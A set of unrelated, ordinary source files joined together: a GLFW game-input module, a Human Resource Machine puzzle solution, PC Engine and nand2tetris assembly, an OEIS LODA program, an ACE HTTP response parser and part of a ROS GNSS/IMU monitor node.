state.key[K_MediaPlayPause] = bool(GetAsyncKeyState(VK_MEDIA_PLAY_PAUSE) & 0x8000);
state.key[K_LaunchMail] = bool(GetAsyncKeyState(VK_LAUNCH_MAIL) & 0x8000);
state.key[K_LaunchMediaSelect] = bool(GetAsyncKeyState(VK_LAUNCH_MEDIA_SELECT) & 0x8000);
state.key[K_LaunchApp1] = bool(GetAsyncKeyState(VK_LAUNCH_APP1) & 0x8000);
state.key[K_LaunchApp2] = bool(GetAsyncKeyState(VK_LAUNCH_APP2) & 0x8000);
return state;
}
#endif // WIN32
//
#if ((GLFW_VERSION_MAJOR >= 3) && (GLFW_VERSION_MINOR >= 3))
static int GamepadSlotToGLFWJoystick(const std::string& name) {
if (name == "gamepad_slot_0")
return GLFW_JOYSTICK_1;
else if (name == "gamepad_slot_1")
return GLFW_JOYSTICK_2;
else if (name == "gamepad_slot_2")
return GLFW_JOYSTICK_3;
else if (name == "gamepad_slot_3")
return GLFW_JOYSTICK_4;
else if (name == "gamepad_slot_4")
return GLFW_JOYSTICK_5;
else if (name == "gamepad_slot_5")
return GLFW_JOYSTICK_6;
else if (name == "gamepad_slot_6")
return GLFW_JOYSTICK_7;
else if (name == "gamepad_slot_7")
return GLFW_JOYSTICK_8;
else if (name == "gamepad_slot_8")
return GLFW_JOYSTICK_9;
else if (name == "gamepad_slot_9")
return GLFW_JOYSTICK_10;
else if (name == "gamepad_slot_10")
return GLFW_JOYSTICK_11;
else if (name == "gamepad_slot_11")
return GLFW_JOYSTICK_12;
else if (name == "gamepad_slot_12")
return GLFW_JOYSTICK_13;
else if (name == "gamepad_slot_13")
return GLFW_JOYSTICK_14;
else if (name == "gamepad_slot_14")
return GLFW_JOYSTICK_15;
else if (name == "gamepad_slot_15")
return GLFW_JOYSTICK_16;
return -1;
}
template <int ID> GamepadState ReadGamepad() {
GLFWgamepadstate glfw_state;
glfwGetGamepadState(ID, &glfw_state);
GamepadState state;
state.connected = glfwJoystickIsGamepad(ID);
state.axes[GA_LeftX] = glfw_state.axes[GLFW_GAMEPAD_AXIS_LEFT_X];
state.axes[GA_LeftY] = glfw_state.axes[GLFW_GAMEPAD_AXIS_LEFT_Y];
state.axes[GA_RightX] = glfw_state.axes[GLFW_GAMEPAD_AXIS_RIGHT_X];
state.axes[GA_RightY] = glfw_state.axes[GLFW_GAMEPAD_AXIS_RIGHT_Y];
state.axes[GA_LeftTrigger] = glfw_state.axes[GLFW_GAMEPAD_AXIS_LEFT_TRIGGER];
state.axes[GA_RightTrigger] = glfw_state.axes[GLFW_GAMEPAD_AXIS_RIGHT_TRIGGER];
state.button[GB_ButtonA] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_A] == GLFW_PRESS;
state.button[GB_ButtonB] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_B] == GLFW_PRESS;
state.button[GB_ButtonX] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_X] == GLFW_PRESS;
state.button[GB_ButtonY] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_Y] == GLFW_PRESS;
state.button[GB_LeftBumper] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_LEFT_BUMPER] == GLFW_PRESS;
state.button[GB_RightBumper] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_RIGHT_BUMPER] == GLFW_PRESS;
state.button[GB_Back] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_BACK] == GLFW_PRESS;
state.button[GB_Start] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_START] == GLFW_PRESS;
state.button[GB_Guide] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_GUIDE] == GLFW_PRESS;
state.button[GB_LeftThumb] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_LEFT_THUMB] == GLFW_PRESS;
state.button[GB_RightThumb] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_RIGHT_THUMB] == GLFW_PRESS;
state.button[GB_DPadUp] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_DPAD_UP] == GLFW_PRESS;
state.button[GB_DPadRight] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_DPAD_RIGHT] == GLFW_PRESS;
state.button[GB_DPadDown] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_DPAD_DOWN] == GLFW_PRESS;
state.button[GB_DPadLeft] = glfw_state.buttons[GLFW_GAMEPAD_BUTTON_DPAD_LEFT] == GLFW_PRESS;
return state;
}
static int JoystickSlotToGLFWJoystick(const std::string& name) {
if (name == "joystick_slot_0")
return GLFW_JOYSTICK_1;
else if (name == "joystick_slot_1")
return GLFW_JOYSTICK_2;
else if (name == "joystick_slot_2")
return GLFW_JOYSTICK_3;
else if (name == "joystick_slot_3")
return GLFW_JOYSTICK_4;
else if (name == "joystick_slot_4")
return GLFW_JOYSTICK_5;
else if (name == "joystick_slot_5")
return GLFW_JOYSTICK_6;
else if (name == "joystick_slot_6")
return GLFW_JOYSTICK_7;
else if (name == "joystick_slot_7")
return GLFW_JOYSTICK_8;
else if (name == "joystick_slot_8")
return GLFW_JOYSTICK_9;
else if (name == "joystick_slot_9")
return GLFW_JOYSTICK_10;
else if (name == "joystick_slot_10")
return GLFW_JOYSTICK_11;
else if (name == "joystick_slot_11")
return GLFW_JOYSTICK_12;
else if (name == "joystick_slot_12")
return GLFW_JOYSTICK_13;
else if (name == "joystick_slot_13")
return GLFW_JOYSTICK_14;
else if (name == "joystick_slot_14")
return GLFW_JOYSTICK_15;
else if (name == "joystick_slot_15")
return GLFW_JOYSTICK_16;
return -1;
}
template <int ID> JoystickState ReadJoystick() {
int axis_count = 0;
auto axis = glfwGetJoystickAxes(ID, &axis_count);
int buttons_count = 0;
auto buttons = glfwGetJoystickButtons(ID, &buttons_count);
JoystickState state{static_cast<short>(axis_count), static_cast<short>(buttons_count)};
state.connected = axis_count && buttons_count;
for (int i = 0; i < axis_count; ++i)
state.axes[i] = axis[i];
for (int i = 0; i < buttons_count; ++i)
state.buttons[i] = buttons[i] == GLFW_PRESS;
return state;
}
template <int ID> std::string DeviceNameJoystick() {
auto name = glfwGetJoystickName(ID);
return name == nullptr ? "" : name;
}
#endif // GLFW >= 3.3
//
static Signal<void(const Window *)>::Connection on_new_window_connection;
void RegisterGLFW3InputSystem() {
on_new_window_connection = new_window_signal.Connect(&OnNewWindow);
AddMouseReader("default", ReadMouse);
AddKeyboardReader("default", ReadKeyboard, GetKeyName);
#if WIN32
AddMouseReader("raw", ReadRawMouse);
AddKeyboardReader("raw", ReadRawKeyboard, GetKeyName);
#endif
#if ((GLFW_VERSION_MAJOR >= 3) && (GLFW_VERSION_MINOR >= 3))
AddGamepadReader("default", ReadGamepad<GLFW_JOYSTICK_1>);
AddGamepadReader("gamepad_slot_0", ReadGamepad<GLFW_JOYSTICK_1>);
AddGamepadReader("gamepad_slot_1", ReadGamepad<GLFW_JOYSTICK_2>);
AddGamepadReader("gamepad_slot_2", ReadGamepad<GLFW_JOYSTICK_3>);
AddGamepadReader("gamepad_slot_3", ReadGamepad<GLFW_JOYSTICK_4>);
AddGamepadReader("gamepad_slot_4", ReadGamepad<GLFW_JOYSTICK_5>);
AddGamepadReader("gamepad_slot_5", ReadGamepad<GLFW_JOYSTICK_6>);
AddGamepadReader("gamepad_slot_6", ReadGamepad<GLFW_JOYSTICK_7>);
AddGamepadReader("gamepad_slot_7", ReadGamepad<GLFW_JOYSTICK_8>);
AddGamepadReader("gamepad_slot_8", ReadGamepad<GLFW_JOYSTICK_9>);
AddGamepadReader("gamepad_slot_9", ReadGamepad<GLFW_JOYSTICK_10>);
AddGamepadReader("gamepad_slot_10", ReadGamepad<GLFW_JOYSTICK_11>);
AddGamepadReader("gamepad_slot_11", ReadGamepad<GLFW_JOYSTICK_12>);
AddGamepadReader("gamepad_slot_12", ReadGamepad<GLFW_JOYSTICK_13>);
AddGamepadReader("gamepad_slot_13", ReadGamepad<GLFW_JOYSTICK_14>);
AddGamepadReader("gamepad_slot_14", ReadGamepad<GLFW_JOYSTICK_15>);
AddGamepadReader("gamepad_slot_15", ReadGamepad<GLFW_JOYSTICK_16>);
AddJoystickReader("default", ReadJoystick<GLFW_JOYSTICK_1>, DeviceNameJoystick<GLFW_JOYSTICK_1>);
AddJoystickReader("joystick_slot_0", ReadJoystick<GLFW_JOYSTICK_1>, DeviceNameJoystick<GLFW_JOYSTICK_1>);
AddJoystickReader("joystick_slot_1", ReadJoystick<GLFW_JOYSTICK_2>, DeviceNameJoystick<GLFW_JOYSTICK_2>);
AddJoystickReader("joystick_slot_2", ReadJoystick<GLFW_JOYSTICK_3>, DeviceNameJoystick<GLFW_JOYSTICK_3>);
AddJoystickReader("joystick_slot_3", ReadJoystick<GLFW_JOYSTICK_4>, DeviceNameJoystick<GLFW_JOYSTICK_4>);
AddJoystickReader("joystick_slot_4", ReadJoystick<GLFW_JOYSTICK_5>, DeviceNameJoystick<GLFW_JOYSTICK_5>);
AddJoystickReader("joystick_slot_5", ReadJoystick<GLFW_JOYSTICK_6>, DeviceNameJoystick<GLFW_JOYSTICK_6>);
AddJoystickReader("joystick_slot_6", ReadJoystick<GLFW_JOYSTICK_7>, DeviceNameJoystick<GLFW_JOYSTICK_7>);
AddJoystickReader("joystick_slot_7", ReadJoystick<GLFW_JOYSTICK_8>, DeviceNameJoystick<GLFW_JOYSTICK_8>);
AddJoystickReader("joystick_slot_8", ReadJoystick<GLFW_JOYSTICK_9>, DeviceNameJoystick<GLFW_JOYSTICK_9>);
AddJoystickReader("joystick_slot_9", ReadJoystick<GLFW_JOYSTICK_10>, DeviceNameJoystick<GLFW_JOYSTICK_10>);
AddJoystickReader("joystick_slot_10", ReadJoystick<GLFW_JOYSTICK_11>, DeviceNameJoystick<GLFW_JOYSTICK_11>);
AddJoystickReader("joystick_slot_11", ReadJoystick<GLFW_JOYSTICK_12>, DeviceNameJoystick<GLFW_JOYSTICK_12>);
AddJoystickReader("joystick_slot_12", ReadJoystick<GLFW_JOYSTICK_13>, DeviceNameJoystick<GLFW_JOYSTICK_13>);
AddJoystickReader("joystick_slot_13", ReadJoystick<GLFW_JOYSTICK_14>, DeviceNameJoystick<GLFW_JOYSTICK_14>);
AddJoystickReader("joystick_slot_14", ReadJoystick<GLFW_JOYSTICK_15>, DeviceNameJoystick<GLFW_JOYSTICK_15>);
AddJoystickReader("joystick_slot_15", ReadJoystick<GLFW_JOYSTICK_16>, DeviceNameJoystick<GLFW_JOYSTICK_16>);
#endif
}
void UnregisterGLFW3InputSystem() { new_window_signal.Disconnect(on_new_window_connection); }
} // namespace hg
|
-- HUMAN RESOURCE MACHINE PROGRAM --
COMMENT 0
COPYFROM 9
COPYTO 8
BUMPUP 8
COMMENT 1
a:
INBOX
COPYTO 0
COMMENT 2
COPYFROM 9
COPYTO 1
COPYFROM 8
COPYTO 2
OUTBOX
COMMENT 3
b:
COPYFROM 2
ADD 1
COPYTO 3
COPYFROM 0
SUB 3
JUMPN a
COPYFROM 3
OUTBOX
COPYFROM 2
COPYTO 1
COPYFROM 3
COPYTO 2
JUMP b
DEFINE COMMENT 0
eJxTZWBg+CDStKVEuG7WNqGdGUAuw20BBgcQvVpp+hp59c/VNhreZVe1mvJf6S0paDbsr5AxWdElYj59
DUjNG9c1SwRd3BdOdZo8KdphScEf+/eJIPG59lXWIPpvWISVfdgKV/uwz9V/w1Z0mUfOn10YrbZAPilz
EUg+IEAw+UK0Ucrq2DXxIH7EP5/dDKNgFIwCugEAev00hA;
DEFINE COMMENT 1
eJyzZGBgmKxdujpGJmTVBxGW+Qn8ARPUeGc3tvJqldYIhKReFn4UwSsWEyIlW5pmLpeQN02uvyJGZnbj
X2nFtkap1A5/0bZOK0HFNqAxDIYWr90rHE+66bkW+uz3yoz96fMnS8xvQ2WpX1WDmN+Pqfu9WOZzunct
3uTctXipjeR0HqvXPTxWDK3ZVlUNh2yPFtrZJ+RNdbLPZfTyLgOZ97NdbYFcm17/ohaOktbmQh+Q2Jfa
EAUQfXPyveaqyVqlNyfXhZ6cWehjM6/Q5+qC7wF5i88mdC95XtS9pK0TpG7RL/tNDKNgFIwCnAAAG6ZX
dA;
DEFINE COMMENT 2
eJyzY2Bg2CaUuahPsWsxkxrLfBfVmJmskhH1H0SOFooKh6RuE2KJmigSE8IqaR0MVMpwyPbH1FNWP6Yu
MAqYwK/r3C6utaEyUvN5UaTmn6yrWmrR3Xp6XmkGbS7/jVa4bjW75l9sHhMiYu4eU21yK/OR4dHCFfpa
pZO1tUpBZt3x1jJY5LnFb5Fnadp+r6Z8ax+t0o/+orWNoWZ1IPk3rixRYn6PIthCYkJ2h2/xA4kxJXbF
zU72LjNJ29sUmH6v+VXm3ib27EtVK7LeJ4Lk71fab1KstA4Ortvit6pxi9+T5rpQubY/WYytCXnBdU35
IDVPft5axzAKRsEoAAMA+h5dvg;
DEFINE COMMENT 3
eJwzZ2Bg8FFybj+hfK85Ue15UaKabM5i1dK0E8pnE8zlDoYflowJ0RLf4rdO9KTbabF7djEyEVZvFc0s
gdoYGqXM6kLkFdsylVM7QHw1j8/VDXaitSLmGyplTHLLPfX/ZOXpZsY2GwZ4V5u0uay1THU+ZbXC9bn1
owhN6664Wya3MkH60rIfz+3OzFw0Oe3WOpvk59vlk55vfxovuKIt/n3i2xgeT6FoZ6flwbNtAgIYHCJ8
T7rN8rnm/9OHJarUb008X6BRypGQ0rSvkaVphdGCyX0xatEgM/W+HZzDMApGwSggCADehVQ7;
DEFINE LABEL 0
eJwzZ2BgUOPduTaDZ82SDB7J6a28DK0zBe1zS4RDUieKGKWcFitNS5HkKJkml7lIX1Gr9K3ikgIu5aZ8
F1WtUnn1qoYyrXNLgUYwvLc4m5BtlRnb6iEZpB10zX93+DX/GxGSQfoxWqX6Makdm6PqZklFvF/2Mqh0
tbVPyCo1j3NLC1xY5k91mjxpqtOKrk3ODK3ebhH1d7w3VHYFbaiMCTermxa5twlk9tXUc0vZs2NmWha0
dbJUlKaBxPIy3icezZbNcSs/OCe6+v0ykJhzS+aihNbMRSC22k+tXQyjYBSMAoIAANOuUw0;
DEFINE LABEL 1
eJyzYmBgcObrM37Ce8/Ome9S1T7+c0t/CG7YBxRm+KXxuuepyo+pmcqS04UUuhYLKZSuTlTj2HlXXWvX
WV2OnY8M/6x3NHo895HhtSmBOrcyf2lkxjKpdcUVKoSkmsuFpILM+OIUskrQZefa4+5/1m/3/bP+il/p
6it+XYtn+VjP8HY72f3Fqa3zvt29Zjebz9VLbZ4XmTkJJhe4nE144/o+sdVjejrIjCMhPJ5HQpYUNIa2
dc4L2zL5RsTjuT6xIasWJ9xadzX11jr+jOlrXmW+XwZR+7xoeTBHyYNQjhKmxIQ8kNiiX7OPMYyCUTAK
sAIACytnRA;
DEFINE LABEL 2
eJzzY2BgmCiyM8NKcE28M59atBovS9R5TrVoSbadGc8ZGFqfM1yb8oela7Ez35/1L8RlNypJTV8D1MJg
o3G0UF79c7W8OkNrpGbhxE/a82e/0lNb0GzovjDOmGX+d9MfU4vNX/dMsPhcPcFCNgekZ6qT5PReV44S
TnfZnCce09MjfKenX/G7lZkbeCsTJP825uAcn9jSNK44weQdKe8TP6V1xYHEOZsU2ypqnNsPVdxrNixu
yi8uEkx+Xzw/TLEywPtPlZ6XWe33ALParjjJmrMJDZWyOTylz4tA+tZ3B0zI7emv8Oibnn6k/2xC7CS1
6G9T3GOezZLNOTDHu6xurnM7SF32hiprv/VdcWvXt3Vmb+DtY9k8edL17ZMnFezi7QPJP1reFdewJTN2
085HESA+4+/3yxhGwSgYJgAAyGh9tg;
DEFINE LABEL 3
eJzTYmBguCzctGWZRMiqB1JqC06LXZvyhHd2YwbP5+pV3Al5nDx/stR4d2bkiKlFA5UybOJ4v8ybe+fa
GoGmLetEj247LbZkK0i8TIujZLL2veZXetemsBtYz1hgVDer2kRy+gzTwonF5hsqi82PFoLUTXWKmann
alZ33N27LMHLu+yK373mj/4MrUdCnhfFhDflT4tsyheKPlqYGbdlMki94Nc/6/W+/VnPMApGwSigCQAA
46JExA;
DEFINE LABEL 8
eJwzYmBgYOT/o5rBs1j7PKeZ5SYOZ6dgDuvgAk73GG/u94mtvCGpE0VuZeaI7cx4IW6UkiL5KEJJSs/r
sGSE1WkxLQMrwelKjPwhCmq89hpAoxhEzN1jRMwlg8LMeDz3Gs+2UTG8ZKqjl2v0S8PbMFHts1mbymv3
pyoHw5nUjFJA6qUi3GNK/dSie10n+0o67rXd5RBhJel4VCfY+ZZKhnuIgpx3iEKE7w7lUr+jOqV+VdYR
vqnOtd4n3XpdT7p9cWpzAZmx6NfjuQyjYBSMArIAAIj5P7k;
DEFINE LABEL 9
eJwzYmBgWMTXpHVb4KiOjcZRHSY1M0slKfeYRXy55ZWyueVAaQZHo/lhjF51oXe8vwdY+0z2lfNe4drq
weCgaX3P7pZJoU+csXXwf6OuOBmTkNTvpn+yTllxlKxy0yp94vG8CKRfKFrRcXNUadqF6OnpQtFr4oWi
60ILo6/5+8S+dp+dPNvmVaaZJUhdcVGAd3X+/LC4PKBZ+X+yios4StzKtUrtqhLy/lSFpB6qqAvtKCv0
MSw+6ba18KTb9wI9L5C+/b9TzzKMglEwCsgCAI/RSqA;
|
;/////////////////////////////////////////////////////////////////////////////////
;/////////////////////////////////////////////////////////////////////////////////
;/////////////////////////////////////////////////////////////////////////////////
;
;//
VDCuserISR.IRQ:
;............................................
.check
pha
phx
phy
lda IRQ.ackVDC
sta <vdc_status
bit #$04
bne .hsync
bit #$20
bne .vsync
;............................................
.hsync
ldx <rcr_offset
st0 #CR
lda <disp,x
sta $0002
st0 #RCR
lda <RCRline,x
sta $0002
lda <RCRline+1,x
sta $0003
stz $402
lda #$01
sta $403
lda #$07
sta $404
txa
inc a
inc a
cmp #$03
bcc .skip
cla
.skip
sta <rcr_offset
lsr a
sta $405
.vsync_check
lda <vdc_status
bit #$20
bne .vsync
;............................................
.out
lda <vdc_reg
sta $0000
ply
plx
pla
rti
;............................................
.vsync
VDC.reg CR , #(BG_ON|SPR_ON|VINT_ON|HINT_ON)
stz $402
lda #$01
sta $403
lda #$3f
sta $404
stz $405
stz __vblank
jmp .out
|
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Fill.asm
// Runs an infinite loop that listens to the keyboard input.
// When a key is pressed (any key), the program blackens the screen,
// i.e. writes "black" in every pixel. When no key is pressed, the
// program clears the screen, i.e. writes "white" in every pixel.
// Put your code here.
@SCREEN
D=A
@Start // Holds start address of area to flll
M=D
// @4
@8192
D=A
@Size // Number of address in area
M=D
@Start
D=M
@Size
D=D+M
@End // Address After last address in Area
M=D
(CheckKeyboard)
// set default value (white)
@Value
M=0
// read keyboard
@KBD
D=M
// Jump to Redraw if no key is pressed
@Redraw
D;JEQ
// set value to 1's (black)
@Value
M=-1
(Redraw)
// set cell address to start
@Start
D=M
@Cell
M=D
(DrawCell)
// Check cell is within bounds
// Find how far Cell is below End
@Cell
D=M
@End
D=M-D
// If not positive go back CheckKeyboard
@CheckKeyboard
D;JLE
// Actual do some srawing
// load value
@Value
D=M
// Load current address
@Cell
A=M
// Set cell value
M=D
// Increment Cell
@Cell
M=M+1
// Draw next Cell
@DrawCell
0;JMP
|
; A023601: Convolution of A023532 and odd numbers.
; 1,3,6,11,17,24,33,44,56,69,84,101,120,140,161,184,209,236,265,295,326,359,394,431,470,511,553,596,641,688,737,788,841,896,952,1009,1068,1129,1192,1257,1324,1393,1464,1536,1609,1684,1761,1840,1921
mov $12,$0
mov $14,$0
add $14,1
lpb $14
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $9,$0
mov $11,$0
add $11,1
lpb $11
clr $0,9
mov $0,$9
sub $11,1
sub $0,$11
mov $2,$0
lpb $2
mov $7,1
lpb $5
mov $5,$2
sub $5,1
mov $6,6
lpe
add $5,$7
lpb $6
mov $4,4
sub $6,$1
lpe
add $1,1
sub $2,$5
trn $2,1
lpe
mov $1,$4
div $1,4
add $1,1
add $10,$1
lpe
add $13,$10
lpe
mov $1,$13
|
// $Id$
#include "ace/OS_NS_stdlib.h"
#include "ace/OS_NS_ctype.h"
#include "ace/String_Base.h"
#include "ace/INet/HTTP_Response.h"
#if !defined (__ACE_INLINE__)
#include "ace/INet/HTTP_Response.inl"
#endif
#include "ace/INet/INet_Log.h"
ACE_BEGIN_VERSIONED_NAMESPACE_DECL
namespace ACE
{
namespace HTTP
{
const ACE_CString Response::COOKIE = "Set-Cookie";
Response::Response()
{
}
Response::Response(const Status& status)
: status_ (status)
{
}
Response::Response(const ACE_CString& version, const Status& status)
: Header (version), status_ (status)
{
}
Response::~Response()
{
}
void Response::add_cookie(const ACE_CString & cookie)
{
this->add (COOKIE, cookie);
}
void Response::get_cookies(ACE_Array<ACE_CString> & cookies) const
{
this->get_values (COOKIE, cookies);
}
void Response::write(ostream& str) const
{
str << this->get_version ().c_str () << " "
<< static_cast<int>(this->status_.get_status ()) << " "
<< this->status_.get_reason ().c_str () << "\r\n";
Header::write (str);
str << "\r\n";
}
bool Response::read(istream& str)
{
ACE_CString version;
ACE_CString status;
ACE_CString reason;
int ch = str.peek ();
if (ch == eof_)
{
str.get (); // skip to eof
return false;
}
// skip whitespace
while (ACE_OS::ace_isspace (str.peek ()))
{
str.get ();
}
// get version
ch = this->read_ws_field (str, version, MAX_VERSION_LENGTH);
if (ch == eof_ || !ACE_OS::ace_isspace (ch))
return false; // invalid HTTP version string
// skip whitespace
while (ACE_OS::ace_isspace (str.peek ()))
{
str.get ();
}
// get status
ch = this->read_ws_field (str, status, MAX_STATUS_LENGTH);
if (ch == eof_ || !ACE_OS::ace_isspace (ch))
return false; // invalid HTTP status code
// skip whitespace
while (ACE_OS::ace_isspace (str.peek ()))
{
str.get ();
}
// get reason
ch = this->read_field (str, reason, MAX_REASON_LENGTH, '\r');
if (ch == '\r')
ch = str.get (); // get lf
if (ch != '\n')
return false; // HTTP reason string too long
INET_DEBUG (6, (LM_DEBUG, DLINFO
ACE_TEXT ("ACE_INet_HTTP: <-- %C %C %C\n"),
version.c_str (),
status.c_str (),
reason.c_str()));
// get header lines
if (!Header::read (str))
return false;
// skip empty line
ch = str.get ();
while (ch != '\n' && ch != eof_)
ch = str.get ();
this->set_version(version);
this->status_.set_status (status);
this->status_.set_reason (reason);
return true;
}
}
}
ACE_END_VERSIONED_NAMESPACE_DECL
|
// Copyright (c) 2019, Map IV, Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// * Neither the name of the Map IV, Inc. nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDER BE LIABLE FOR ANY
// DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
/*
* monitor.cpp
* Author MapIV Sekino
*/
#include "ros/ros.h"
#include "coordinate/coordinate.hpp"
#include "navigation/navigation.hpp"
#include <boost/bind.hpp>
#include <diagnostic_updater/diagnostic_updater.h>
static sensor_msgs::Imu imu;
static rtklib_msgs::RtklibNav rtklib_nav;
static sensor_msgs::NavSatFix fix;
static sensor_msgs::NavSatFix navsat_fix;
static geometry_msgs::TwistStamped velocity;
static eagleye_msgs::VelocityScaleFactor velocity_scale_factor;
static eagleye_msgs::Distance distance;
static eagleye_msgs::Heading heading_1st;
static eagleye_msgs::Heading heading_interpolate_1st;
static eagleye_msgs::Heading heading_2nd;
static eagleye_msgs::Heading heading_interpolate_2nd;
static eagleye_msgs::Heading heading_3rd;
static eagleye_msgs::Heading heading_interpolate_3rd;
static eagleye_msgs::YawrateOffset yawrate_offset_stop;
static eagleye_msgs::YawrateOffset yawrate_offset_1st;
static eagleye_msgs::YawrateOffset yawrate_offset_2nd;
static eagleye_msgs::SlipAngle slip_angle;
static eagleye_msgs::Height height;
static eagleye_msgs::Pitching pitching;
static eagleye_msgs::Position enu_relative_pos;
static geometry_msgs::Vector3Stamped enu_vel;
static eagleye_msgs::Position enu_absolute_pos;
static eagleye_msgs::Position enu_absolute_pos_interpolate;
static sensor_msgs::NavSatFix eagleye_fix;
static geometry_msgs::TwistStamped eagleye_twist;
static bool navsat_fix_sub_status;
static bool print_status;
static double imu_time_last;
static double rtklib_nav_time_last;
static double navsat_fix_time_last;
static double velocity_time_last;
static double velocity_scale_factor_time_last;
static double distance_time_last;
static double heading_1st_time_last;
static double heading_interpolate_1st_time_last;
static double heading_2nd_time_last;
static double heading_interpolate_2nd_time_last;
static double heading_3rd_time_last;
static double heading_interpolate_3rd_time_last;
static double yawrate_offset_stop_time_last;
static double yawrate_offset_1st_time_last;
static double yawrate_offset_2nd_time_last;
static double slip_angle_time_last;
static double height_time_last;
static double pitching_time_last;
static double enu_vel_time_last;
static double enu_absolute_pos_time_last;
static double enu_absolute_pos_interpolate_time_last;
static double eagleye_twist_time_last;
static double update_rate = 10;
static double th_gnss_deadrock_time = 10;
void rtklib_nav_callback(const rtklib_msgs::RtklibNav::ConstPtr& msg)
{
rtklib_nav.header = msg->header;
rtklib_nav.tow = msg->tow;
rtklib_nav.ecef_pos = msg->ecef_pos;
rtklib_nav.ecef_vel = msg->ecef_vel;
rtklib_nav.status = msg->status;
}
void fix_callback(const sensor_msgs::NavSatFix::ConstPtr& msg)
{
fix.header = msg->header;
fix.status = msg->status;
fix.latitude = msg->latitude;
fix.longitude = msg->longitude;
fix.altitude = msg->altitude;
fix.position_covariance = msg->position_covariance;
fix.position_covariance_type = msg->position_covariance_type;
}
void navsatfix_fix_callback(const sensor_msgs::NavSatFix::ConstPtr& msg)
{
navsat_fix.header = msg->header;
navsat_fix.status = msg->status;
navsat_fix.latitude = msg->latitude;
navsat_fix.longitude = msg->longitude;
navsat_fix.altitude = msg->altitude;
navsat_fix.position_covariance = msg->position_covariance;
navsat_fix.position_covariance_type = msg->position_covariance_type;
navsat_fix_sub_status = true;
}
void velocity_callback(const geometry_msgs::TwistStamped::ConstPtr& msg)
{
velocity.header = msg->header;
velocity.twist = msg->twist;
}
void velocity_scale_factor_callback(const eagleye_msgs::VelocityScaleFactor::ConstPtr& msg)
{
velocity_scale_factor.header = msg->header;
velocity_scale_factor.scale_factor = msg->scale_factor;
velocity_scale_factor.correction_velocity = msg->correction_velocity;
velocity_scale_factor.status = msg->status;
}
void distance_callback(const eagleye_msgs::Distance::ConstPtr& msg)
{
distance.header = msg->header;
distance.distance = msg->distance;
distance.status = msg->status;
}
void heading_1st_callback(const eagleye_msgs::Heading::ConstPtr& msg)
{
heading_1st.header = msg->header;
heading_1st.heading_angle = msg->heading_angle;
heading_1st.status = msg->status;
}
void heading_interpolate_1st_callback(const eagleye_msgs::Heading::ConstPtr& msg)
{
heading_interpolate_1st.header = msg->header;
heading_interpolate_1st.heading_angle = msg->heading_angle;
heading_interpolate_1st.status = msg->status;
}
void heading_2nd_callback(const eagleye_msgs::Heading::ConstPtr& msg)
{
heading_2nd.header = msg->header;
heading_2nd.heading_angle = msg->heading_angle;
heading_2nd.status = msg->status;
}
void heading_interpolate_2nd_callback(const eagleye_msgs::Heading::ConstPtr& msg)
{
heading_interpolate_2nd.header = msg->header;
heading_interpolate_2nd.heading_angle = msg->heading_angle;
heading_interpolate_2nd.status = msg->status;
}
void heading_3rd_callback(const eagleye_msgs::Heading::ConstPtr& msg)
{
heading_3rd.header = msg->header;
heading_3rd.heading_angle = msg->heading_angle;
heading_3rd.status = msg->status;
}
void heading_interpolate_3rd_callback(const eagleye_msgs::Heading::ConstPtr& msg)
{
heading_interpolate_3rd.header = msg->header;
heading_interpolate_3rd.heading_angle = msg->heading_angle;
heading_interpolate_3rd.status = msg->status;
}
void yawrate_offset_stop_callback(const eagleye_msgs::YawrateOffset::ConstPtr& msg)
{
yawrate_offset_stop.header = msg->header;
yawrate_offset_stop.yawrate_offset = msg->yawrate_offset;
yawrate_offset_stop.status = msg->status;
}
void yawrate_offset_1st_callback(const eagleye_msgs::YawrateOffset::ConstPtr& msg)
{
yawrate_offset_1st.header = msg->header;
yawrate_offset_1st.yawrate_offset = msg->yawrate_offset;
yawrate_offset_1st.status = msg->status;
}
void yawrate_offset_2nd_callback(const eagleye_msgs::YawrateOffset::ConstPtr& msg)
{
yawrate_offset_2nd.header = msg->header;
yawrate_offset_2nd.yawrate_offset = msg->yawrate_offset;
yawrate_offset_2nd.status = msg->status;
}
void slip_angle_callback(const eagleye_msgs::SlipAngle::ConstPtr& msg)
{
slip_angle.header = msg->header;
slip_angle.coefficient = msg->coefficient;
slip_angle.slip_angle = msg->slip_angle;
slip_angle.status = msg->status;
}
